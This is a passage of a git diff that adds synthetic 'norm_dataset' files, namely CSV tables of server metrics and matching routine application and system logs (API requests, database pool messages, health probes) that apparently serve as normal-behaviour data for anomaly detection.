+2025-08-15T10:06:20Z,15.17,88.22,48.8,22.76,1.99,0.87 +2025-08-15T10:06:25Z,14.4,98.97,42.88,22.96,1.09,1.21 +2025-08-15T10:06:30Z,15.18,77.55,46.33,26.41,0.99,1.25 +2025-08-15T10:06:35Z,11.02,72.46,47.32,28.93,1.48,1.02 +2025-08-15T10:06:40Z,14.56,71.1,42.22,31.55,1.62,1.33 +2025-08-15T10:06:45Z,15.71,71.84,44.82,37.38,1.49,0.87 +2025-08-15T10:06:50Z,17.96,79.23,35.28,34.29,0.88,1.19 +2025-08-15T10:06:55Z,13.96,83.41,41.93,29.2,1.47,0.96 +2025-08-15T10:07:00Z,13.38,82.77,44.24,29.9,1.11,1.07 +2025-08-15T10:07:05Z,14.0,88.27,41.26,24.99,1.7,1.21 +2025-08-15T10:07:10Z,16.83,80.13,49.9,29.91,1.61,1.03 +2025-08-15T10:07:15Z,15.66,94.54,40.71,28.56,1.22,1.12 +2025-08-15T10:07:20Z,13.94,77.35,43.68,31.61,1.35,1.4 +2025-08-15T10:07:25Z,16.03,107.2,45.39,25.86,1.18,1.08 diff --git a/norm_dataset/scenario_15/norm_15_27.log b/norm_dataset/scenario_15/norm_15_27.log new file mode 100644 index 0000000000000000000000000000000000000000..466fc0acd60352e123f69f78570f85fd7bdbfa37 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_27.log @@ -0,0 +1,20 @@ +Aug 15 10:00:00 systemd[1]: Starting daily user session cleaning... +Aug 15 10:00:25 web-app[2233]: GET /api/v1/user/8 status=200 OK +Aug 15 10:01:05 web-app[2233]: GET /api/v1/config status=200 OK +Aug 15 10:01:40 web-app[2233]: GET /api/v1/user/15 status=200 OK +Aug 15 10:02:01 [HikariPool-1] DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Adding new connection. +Aug 15 10:02:02 web-app[2233]: POST /api/v1/transaction status=201 CREATED +Aug 15 10:02:06 [HikariPool-1] DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Adding new connection. +Aug 15 10:02:07 web-app[2233]: GET /api/v1/orders/312 status=200 OK +Aug 15 10:02:11 [HikariPool-1] DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Adding new connection. +Aug 15 10:02:12 web-app[2233]: GET /api/v1/products/99 status=200 OK +Aug 15 10:02:15 kubelet[1987]: INFO Liveness probe for pod web-app-7d7f8c8c5f-xyz succeeded. +Aug 15 10:02:25 web-app[2233]: POST /api/v1/login status=200 OK +Aug 15 10:02:40 web-app[2233]: GET /api/v1/user/33 status=200 OK +Aug 15 10:03:05 web-app[2233]: GET /api/v1/orders/313 status=200 OK +Aug 15 10:03:30 web-app[2233]: GET /api/v1/products/101 status=200 OK +Aug 15 10:04:05 web-app[2233]: GET /api/v1/user/8 status=200 OK +Aug 15 10:04:25 [HikariPool-1] DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Pool stats (total=10, active=8, idle=2, waiting=0) +Aug 15 10:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:30 web-app[2233]: GET /api/v1/config status=200 OK +Aug 15 10:06:00 web-app[2233]: GET /api/v1/user/21 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_28.csv b/norm_dataset/scenario_15/norm_15_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..e7f73863bb6b5d53cab16c068fc03dbc09045376 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-08-22T14:00:00Z,16.245848605174654,51.664828925345034,17.959876547941178,1.215294345498284,1.0733166822236342,59.473300509652965 +2025-08-22T14:00:05Z,17.54954406688013,55.134080434512995,21.470347920016163,1.4520890533356596,1.003266713602998,48.68391950626318 +2025-08-22T14:00:10Z,17.288480437496613,53.225681016833065,27.544987862277083,1.2378470340965297,0.7776691056870676,46.34782427836667 +2025-08-22T14:00:15Z,14.92057820546594,54.404665199766164,18.535327012665803,1.7564319212589588,1.1851234083524438,48.327440996487326 +2025-08-22T14:00:20Z,15.366044491644672,58.457831050815685,24.863343365571673,1.5808580636499983,0.8810246013918537,58.419831408230806 +2025-08-22T14:00:25Z,14.386429797600153,52.83586402517076,19.448348906581728,1.8434331667260175,0.6646070220186264,46.249437078425295 +2025-08-22T14:00:30Z,13.70625091975881,56.061986552198526,13.581050156694692,1.6938028113827739,0.7840768320021728,42.494600659029416 +2025-08-22T14:00:35Z,13.746015089894744,53.21151169070205,20.25627658107435,1.2215839949846898,0.6751173330440976,46.06803245013229 +2025-08-22T14:00:40Z,15.73488254066958,53.53672386485014,18.316337410911547,1.038648798621549,0.9828999008910372,42.360706336075644 +2025-08-22T14:00:45Z,14.955119798057977,52.69286620180479,24.10611296517292,1.440230206436968,1.0520971576604092,53.080693460093194 +2025-08-22T14:00:50Z,18.387644553761696,49.45672707077642,37.31555458241961,1.3615672616659003,0.5544731827047569,44.71681813504303 +2025-08-22T14:00:55Z,13.314570917555098,54.87501903107035,27.086768501770518,1.4103581838814852,1.0161221902708346,49.77993464839236 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+2025-08-22T14:07:25Z,14.468201936779028,57.79934336054326,21.751718175196203,1.6332335282482016,0.9508138385743796,52.504424132880615 diff --git a/norm_dataset/scenario_15/norm_15_28.log b/norm_dataset/scenario_15/norm_15_28.log new file mode 100644 index 0000000000000000000000000000000000000000..353180ef27f0a9c6fc6e8b5eccf9d8b89dc7c527 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_28.log @@ -0,0 +1,19 @@ +Aug 22 14:00:10 web-app[1234]: INFO Starting up service 'payment-processor'... +Aug 22 14:00:40 web-app[1234]: INFO GET /api/v1/health status=200 OK +Aug 22 14:01:15 web-app[1234]: INFO Starting daily backup job... +Aug 22 14:01:30 web-app[1234]: INFO GET /api/v1/users/7 status=200 OK +Aug 22 14:01:40 db-connector[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:01:45 web-app[1234]: INFO POST /api/v1/checkout status=202 Accepted +Aug 22 14:01:50 db-connector[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:01:55 db-connector[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:02:00 web-app[1234]: INFO POST /api/v1/checkout status=202 Accepted +Aug 22 14:02:10 web-app[1234]: INFO GET /api/v1/products/198 status=200 OK +Aug 22 14:02:20 db-connector[3456]: DEBUG: Pool 'HikariPool-1' - Pool stats (total=10, active=8, idle=2, waiting=0) +Aug 22 14:02:20 web-app[1234]: INFO GET /api/v1/orders/312 status=200 OK +Aug 22 14:02:55 web-app[1234]: INFO POST /api/v1/checkout status=202 Accepted +Aug 22 14:03:45 web-app[1234]: INFO GET /api/v1/health status=200 OK +Aug 22 14:04:10 web-app[1234]: INFO Daily backup job finished successfully. +Aug 22 14:05:00 web-app[1234]: INFO GET /api/v1/users/15 status=200 OK +Aug 22 14:05:50 web-app[1234]: INFO GET /api/v1/products/210 status=200 OK +Aug 22 14:06:40 web-app[1234]: INFO POST /api/v1/login status=200 OK +Aug 22 14:07:05 web-app[1234]: INFO GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_29.csv b/norm_dataset/scenario_15/norm_15_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..8762e63e02b55d68c0e46d736fd620eeee382be8 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,16.55,103.06,43.44,28.68,1.21,0.8 +2025-08-23T10:00:05Z,15.84,74.48,42.87,35.6,1.11,0.88 +2025-08-23T10:00:10Z,17.83,82.94,46.54,33.13,1.25,0.9 +2025-08-23T10:00:15Z,14.06,75.55,42.86,24.09,1.02,1.06 +2025-08-23T10:00:20Z,14.27,73.98,45.88,23.91,1.31,0.95 +2025-08-23T10:00:25Z,13.75,92.52,48.57,27.82,0.85,1.26 +2025-08-23T10:00:30Z,14.12,86.94,46.3,33.31,0.91,1.03 +2025-08-23T10:00:35Z,19.91,80.76,45.18,27.73,1.2,0.93 +2025-08-23T10:00:40Z,15.18,72.43,46.94,32.07,1.2,1.34 +2025-08-23T10:00:45Z,15.33,78.4,47.95,28.09,1.34,1.2 +2025-08-23T10:00:50Z,12.84,78.49,45.41,42.48,1.03,1.08 +2025-08-23T10:00:55Z,16.52,64.72,43.28,34.87,1.22,1.26 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+2025-08-23T10:06:45Z,15.11,79.67,41.8,28.95,1.14,0.98 +2025-08-23T10:06:50Z,16.63,69.21,40.94,26.86,1.24,1.16 +2025-08-23T10:06:55Z,13.58,97.69,46.02,29.85,1.2,1.37 +2025-08-23T10:07:00Z,13.43,80.01,44.29,24.6,1.22,1.19 +2025-08-23T10:07:05Z,15.42,77.45,50.94,27.1,1.36,0.69 +2025-08-23T10:07:10Z,15.17,59.89,49.31,27.24,1.44,1.03 +2025-08-23T10:07:15Z,16.22,89.1,53.76,27.85,1.41,1.27 +2025-08-23T10:07:20Z,12.55,72.7,40.74,34.92,1.15,0.81 +2025-08-23T10:07:25Z,17.45,71.16,45.49,25.67,1.31,1.22 diff --git a/norm_dataset/scenario_15/norm_15_29.log b/norm_dataset/scenario_15/norm_15_29.log new file mode 100644 index 0000000000000000000000000000000000000000..91e7b62c49969fbb7b69c4b309a1d3726462b498 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_29.log @@ -0,0 +1,20 @@ +Aug 23 10:00:05 web-app[1501]: GET /api/v1/user/10 status=200 OK +Aug 23 10:00:25 web-app[1501]: GET /api/v1/user/47 status=200 OK +Aug 23 10:00:55 web-app[1501]: GET /api/v1/user/30 status=200 OK +Aug 23 10:01:05 web-app[1501]: GET /api/v1/user/27 status=200 OK +Aug 23 10:01:30 web-app[1501]: GET /api/v1/user/5 status=200 OK +Aug 23 10:01:40 hikari-pool[1501]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:45 hikari-pool[1501]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:50 hikari-pool[1501]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:00 hikari-pool[1501]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:20 web-app[1501]: GET /api/v1/user/27 status=200 OK +Aug 23 10:05:05 web-app[1501]: GET /api/v1/user/16 status=200 OK +Aug 23 10:05:20 web-app[1501]: GET /api/v1/user/42 status=200 OK +Aug 23 10:05:25 web-app[1501]: GET /api/v1/user/45 status=200 OK +Aug 23 10:05:45 web-app[1501]: GET /api/v1/user/37 status=200 OK +Aug 23 10:06:00 web-app[1501]: GET /api/v1/user/36 status=200 OK +Aug 23 10:06:10 web-app[1501]: GET /api/v1/user/15 status=200 OK +Aug 23 10:06:25 web-app[1501]: GET /api/v1/user/34 status=200 OK +Aug 23 10:06:35 web-app[1501]: GET /api/v1/user/40 status=200 OK +Aug 23 10:07:05 web-app[1501]: GET /api/v1/user/34 status=200 OK +Aug 23 10:07:15 web-app[1501]: GET /api/v1/user/9 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_3.csv b/norm_dataset/scenario_15/norm_15_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..b1959a9d474e74d74642150b43cddd46d0e665d4 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,11.68,41.55,29.24,1.02,0.9 +2025-07-03T10:00:05Z,14.54,40.75,22.63,1.01,0.71 +2025-07-03T10:00:10Z,11.91,40.05,21.37,1.11,1.06 +2025-07-03T10:00:15Z,12.72,41.11,29.76,1.18,0.87 +2025-07-03T10:00:20Z,12.98,38.39,23.96,1.05,1.08 +2025-07-03T10:00:25Z,14.47,40.47,28.33,0.96,0.78 +2025-07-03T10:00:30Z,13.57,38.64,20.4,1.08,0.97 +2025-07-03T10:00:35Z,10.63,39.07,28.93,1.09,0.9 +2025-07-03T10:00:40Z,11.05,38.69,22.44,1.12,0.7 +2025-07-03T10:00:45Z,13.59,38.71,25.4,0.99,0.75 +2025-07-03T10:00:50Z,14.41,41.36,27.01,1.14,0.72 +2025-07-03T10:00:55Z,10.52,39.34,25.97,1.0,1.03 +2025-07-03T10:01:00Z,12.51,40.94,25.07,0.9,1.01 +2025-07-03T10:01:05Z,12.54,38.69,25.03,1.04,0.96 +2025-07-03T10:01:10Z,13.62,41.8,20.23,1.01,1.0 +2025-07-03T10:01:15Z,29.77,41.66,26.8,2.98,2.53 +2025-07-03T10:01:20Z,28.82,40.49,29.96,2.72,2.15 +2025-07-03T10:01:25Z,29.84,42.78,34.79,3.4,2.5 +2025-07-03T10:01:30Z,25.89,41.32,34.11,2.8,2.23 +2025-07-03T10:01:35Z,29.78,39.96,25.52,3.22,2.18 +2025-07-03T10:01:40Z,21.05,40.65,30.85,3.05,2.17 +2025-07-03T10:01:45Z,18.43,42.45,26.41,3.04,2.11 +2025-07-03T10:01:50Z,18.69,41.8,29.38,3.28,2.92 +2025-07-03T10:01:55Z,19.94,42.48,25.28,3.37,2.84 +2025-07-03T10:02:00Z,20.83,40.31,30.37,3.11,2.95 +2025-07-03T10:02:05Z,18.42,39.22,25.97,2.52,2.86 +2025-07-03T10:02:10Z,20.21,39.97,26.54,2.92,2.13 +2025-07-03T10:02:15Z,19.82,39.18,30.9,3.36,2.14 +2025-07-03T10:02:20Z,20.03,41.6,25.23,2.86,2.6 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+2025-07-03T10:05:45Z,19.24,42.24,27.53,2.72,2.57 +2025-07-03T10:05:50Z,20.93,42.41,28.06,2.96,2.59 +2025-07-03T10:05:55Z,20.02,41.58,27.93,3.05,2.61 +2025-07-03T10:06:00Z,18.53,41.4,24.89,2.81,2.42 +2025-07-03T10:06:05Z,19.86,42.87,24.16,2.88,2.88 +2025-07-03T10:06:10Z,20.57,42.37,28.32,3.27,2.65 +2025-07-03T10:06:15Z,20.27,40.93,25.22,3.05,2.25 +2025-07-03T10:06:20Z,19.15,40.81,26.75,2.99,2.02 +2025-07-03T10:06:25Z,21.35,39.5,30.96,2.79,2.64 +2025-07-03T10:06:30Z,20.29,39.68,30.07,2.89,2.99 +2025-07-03T10:06:35Z,19.34,42.47,22.6,2.91,2.31 +2025-07-03T10:06:40Z,21.84,42.26,26.91,2.91,2.6 +2025-07-03T10:06:45Z,19.85,40.68,30.43,3.05,2.18 +2025-07-03T10:06:50Z,19.35,40.78,22.6,3.23,2.72 +2025-07-03T10:06:55Z,21.43,39.91,29.59,2.8,2.94 +2025-07-03T10:07:00Z,19.67,39.55,30.05,3.0,2.08 +2025-07-03T10:07:05Z,18.13,39.09,26.82,2.78,2.44 +2025-07-03T10:07:10Z,18.63,40.99,28.95,2.56,2.68 +2025-07-03T10:07:15Z,21.87,42.39,31.41,2.74,2.18 +2025-07-03T10:07:20Z,19.53,40.79,31.46,3.33,2.0 +2025-07-03T10:07:25Z,20.37,42.31,24.73,3.02,2.6 diff --git a/norm_dataset/scenario_15/norm_15_3.log b/norm_dataset/scenario_15/norm_15_3.log new file mode 100644 index 0000000000000000000000000000000000000000..e63b49ede85fc28aade8e1aa4d3527fe094b2ab5 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_3.log @@ -0,0 +1,57 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:25 web-app[3456]: GET /api/v1/user/34 status=200 OK +Jul 03 10:00:40 web-app[3456]: GET /api/v1/user/34 status=200 OK +Jul 03 10:00:50 web-app[3456]: GET /api/v1/user/99 status=200 OK +Jul 03 10:01:15 web-app[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:01:20 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:01:25 web-app[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:01:30 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:01:35 web-app[3456]: GET /api/v1/data/metrics status=200 OK +Jul 03 10:01:40 web-app[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:01:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:55 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:02:00 web-app[3456]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:02:05 web-app[3456]: GET /api/v1/data/metrics status=200 OK +Jul 03 10:02:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:02:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:02:30 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:02:35 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:02:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:02:50 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:03:00 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:03:05 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:03:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:03:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:03:30 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:03:35 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:03:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:03:50 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:04:00 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:04:05 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:04:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:04:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:04:30 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:04:35 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:04:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:04:50 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:05:00 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:05:05 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:05:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:05:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:05:30 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:05:35 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:05:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:05:50 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:06:00 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:06:05 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:06:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:06:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:06:30 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:06:35 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:06:45 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:06:50 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:07:00 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:07:05 web-app[3456]: GET /api/v1/data/realtime status=200 OK +Jul 03 10:07:15 web-app[3456]: GET /api/v1/data/stream status=200 OK +Jul 03 10:07:20 web-app[3456]: GET /api/v1/data/realtime status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_30.csv b/norm_dataset/scenario_15/norm_15_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..28354e700749c05521ae18867918a3dd9ab0d153 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-07-03T10:00:00Z,14.58,42.14,28.42,1.3,1.0,50.31 +2025-07-03T10:00:05Z,17.39,39.95,27.12,1.48,1.22,57.72 +2025-07-03T10:00:10Z,9.71,49.14,21.44,1.07,0.86,52.59 +2025-07-03T10:00:15Z,15.55,42.29,29.02,1.7,1.11,51.23 +2025-07-03T10:00:20Z,18.03,48.17,25.93,1.77,0.4,50.82 +2025-07-03T10:00:25Z,15.01,48.39,20.14,1.52,0.76,44.76 +2025-07-03T10:00:30Z,16.82,48.06,26.06,1.39,0.83,57.11 +2025-07-03T10:00:35Z,13.34,46.12,31.78,1.41,1.25,54.81 +2025-07-03T10:00:40Z,17.67,44.2,40.86,1.54,0.69,55.59 +2025-07-03T10:00:45Z,19.18,47.2,27.52,1.39,0.95,41.08 +2025-07-03T10:00:50Z,17.12,42.9,31.35,1.39,1.25,59.52 +2025-07-03T10:00:55Z,13.35,49.44,26.71,1.59,1.09,50.52 +2025-07-03T10:01:00Z,14.65,47.32,28.57,1.52,1.07,42.29 +2025-07-03T10:01:05Z,16.49,45.42,24.2,1.16,0.84,48.49 +2025-07-03T10:01:10Z,16.7,48.76,31.57,1.4,0.94,53.64 +2025-07-03T10:01:15Z,12.57,44.1,30.25,1.6,1.03,52.38 +2025-07-03T10:01:20Z,15.14,50.04,37.4,1.74,0.84,41.06 +2025-07-03T10:01:25Z,13.8,43.21,29.68,1.32,0.99,52.17 +2025-07-03T10:01:30Z,16.96,46.72,22.43,1.75,0.9,45.2 +2025-07-03T10:01:35Z,16.18,45.08,32.21,1.66,1.7,53.02 +2025-07-03T10:01:40Z,26.42,48.27,22.49,6.19,3.03,278.66 +2025-07-03T10:01:45Z,25.73,40.82,33.0,5.51,3.92,329.78 +2025-07-03T10:01:50Z,22.95,45.6,22.03,6.0,3.45,269.79 +2025-07-03T10:01:55Z,28.05,43.06,25.93,5.45,3.23,316.56 +2025-07-03T10:02:00Z,28.84,48.9,30.79,5.89,3.7,260.23 +2025-07-03T10:02:05Z,27.02,51.74,26.48,6.4,3.65,66.05 +2025-07-03T10:02:10Z,28.25,44.45,27.51,4.39,2.8,71.31 +2025-07-03T10:02:15Z,29.15,45.66,32.56,5.19,4.12,76.26 +2025-07-03T10:02:20Z,11.85,48.4,29.91,5.85,3.39,67.4 +2025-07-03T10:02:25Z,16.19,42.96,27.18,6.36,3.87,67.7 +2025-07-03T10:02:30Z,18.16,45.16,27.71,5.37,3.69,68.16 +2025-07-03T10:02:35Z,17.22,50.19,39.2,4.84,3.77,74.76 +2025-07-03T10:02:40Z,16.42,40.54,25.54,6.05,3.94,58.11 +2025-07-03T10:02:45Z,18.25,42.83,28.27,6.46,3.76,75.88 +2025-07-03T10:02:50Z,16.72,44.02,26.24,5.37,3.67,60.59 +2025-07-03T10:02:55Z,15.42,46.09,26.59,5.02,3.9,66.49 +2025-07-03T10:03:00Z,16.59,49.02,27.76,6.48,3.48,73.67 +2025-07-03T10:03:05Z,12.59,43.8,22.05,5.28,3.16,72.37 +2025-07-03T10:03:10Z,13.31,47.62,19.88,4.52,3.83,75.1 +2025-07-03T10:03:15Z,18.01,38.51,21.84,5.07,3.08,70.51 +2025-07-03T10:03:20Z,14.0,44.38,35.34,6.04,3.39,69.52 +2025-07-03T10:03:25Z,10.1,46.64,32.16,6.49,3.1,70.59 +2025-07-03T10:03:30Z,16.56,42.65,28.59,4.82,3.37,68.42 +2025-07-03T10:03:35Z,12.59,42.06,31.39,4.55,3.21,71.62 +2025-07-03T10:03:40Z,19.09,44.45,25.03,5.54,3.96,64.58 +2025-07-03T10:03:45Z,13.99,46.01,25.9,5.65,3.99,75.9 +2025-07-03T10:03:50Z,15.04,51.75,25.59,5.58,3.65,62.57 +2025-07-03T10:03:55Z,14.4,40.6,33.16,5.61,3.42,66.49 +2025-07-03T10:04:00Z,15.42,48.06,36.95,5.09,3.88,68.55 +2025-07-03T10:04:05Z,11.79,44.64,33.05,5.7,3.27,64.87 +2025-07-03T10:04:10Z,11.73,41.1,28.64,6.25,3.02,65.29 +2025-07-03T10:04:15Z,16.45,44.02,31.0,1.5,0.96,49.27 +2025-07-03T10:04:20Z,16.79,45.38,38.09,1.55,1.29,59.37 +2025-07-03T10:04:25Z,16.25,42.54,24.17,1.26,0.7,43.67 +2025-07-03T10:04:30Z,14.62,43.96,19.37,1.49,1.2,44.41 +2025-07-03T10:04:35Z,15.89,42.19,30.76,1.53,1.2,42.51 +2025-07-03T10:04:40Z,15.24,45.1,30.96,1.23,1.38,43.04 +2025-07-03T10:04:45Z,11.24,43.52,34.06,1.92,0.89,57.4 +2025-07-03T10:04:50Z,14.36,42.67,32.12,1.42,0.68,48.78 +2025-07-03T10:04:55Z,12.22,46.95,23.06,1.37,0.9,49.97 +2025-07-03T10:05:00Z,15.3,44.14,34.39,1.39,1.11,44.8 +2025-07-03T10:05:05Z,14.69,41.89,32.22,1.17,0.89,53.53 +2025-07-03T10:05:10Z,14.72,43.23,29.21,1.61,1.1,62.12 +2025-07-03T10:05:15Z,17.48,43.63,37.12,1.55,0.95,45.09 +2025-07-03T10:05:20Z,14.76,39.44,30.11,1.84,0.95,51.54 +2025-07-03T10:05:25Z,12.24,49.94,21.37,1.6,1.28,57.48 +2025-07-03T10:05:30Z,13.73,43.71,20.17,1.09,0.69,51.36 +2025-07-03T10:05:35Z,15.45,41.09,27.78,1.54,1.25,53.33 +2025-07-03T10:05:40Z,13.83,44.57,38.01,1.56,1.07,55.41 +2025-07-03T10:05:45Z,15.17,50.03,25.96,1.43,0.84,49.95 +2025-07-03T10:05:50Z,13.17,49.96,34.36,1.46,1.33,40.07 +2025-07-03T10:05:55Z,14.27,43.54,28.73,1.2,0.62,53.98 +2025-07-03T10:06:00Z,17.37,45.01,21.84,1.55,1.02,46.63 +2025-07-03T10:06:05Z,15.61,45.18,26.91,1.37,0.83,43.26 +2025-07-03T10:06:10Z,21.17,39.47,33.81,1.52,1.42,43.55 +2025-07-03T10:06:15Z,14.77,43.42,28.61,1.36,1.03,47.99 +2025-07-03T10:06:20Z,15.93,39.41,40.82,1.41,1.02,46.9 +2025-07-03T10:06:25Z,17.22,47.76,27.92,0.92,0.92,55.41 +2025-07-03T10:06:30Z,13.11,42.97,36.79,1.28,0.81,54.51 +2025-07-03T10:06:35Z,20.5,46.77,21.94,1.46,0.88,43.11 +2025-07-03T10:06:40Z,12.29,39.08,31.78,1.64,1.07,41.39 +2025-07-03T10:06:45Z,14.02,43.06,25.64,1.74,1.29,48.28 +2025-07-03T10:06:50Z,16.85,44.43,20.43,1.49,0.99,50.26 +2025-07-03T10:06:55Z,12.13,53.24,26.57,1.4,0.93,42.24 +2025-07-03T10:07:00Z,15.25,39.44,35.24,1.18,0.84,43.16 +2025-07-03T10:07:05Z,12.3,46.04,40.0,1.4,1.26,50.85 +2025-07-03T10:07:10Z,14.65,50.35,29.61,1.4,1.01,49.52 +2025-07-03T10:07:15Z,17.98,44.47,31.99,1.76,0.94,52.78 +2025-07-03T10:07:20Z,13.51,40.78,28.54,1.41,0.99,46.83 +2025-07-03T10:07:25Z,14.25,50.23,39.24,1.68,0.69,50.39 diff --git a/norm_dataset/scenario_15/norm_15_30.log b/norm_dataset/scenario_15/norm_15_30.log new file mode 100644 index 0000000000000000000000000000000000000000..422c353cfbc61ebd383321b3fde43dfae537b1d5 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_30.log @@ -0,0 +1,20 @@ +Jul 03 10:01:15 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:01:25 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:01:35 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:01:50 HikariPool-1[7890]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:02:00 HikariPool-1[7890]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:02:10 HikariPool-1[7890]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:02:25 HikariPool-1[7890]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 03 10:02:35 HikariPool-1[7890]: INFO: Pool 'HikariPool-1' - Pool stats (total=10, active=5, idle=5, waiting=0) +Jul 03 10:02:45 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:03:00 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:03:10 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:03:25 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:03:35 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:03:45 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:04:00 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:04:10 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:04:20 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:04:35 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:04:45 web-app[3456]: GET /api/v2/products status=200 OK +Jul 03 10:05:00 web-app[3456]: GET /api/v2/products status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_4.csv b/norm_dataset/scenario_15/norm_15_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..6b5679702ff63f78a56f4a5e0ffc4f5c718f704f --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_4.csv @@ -0,0 +1,91 @@ 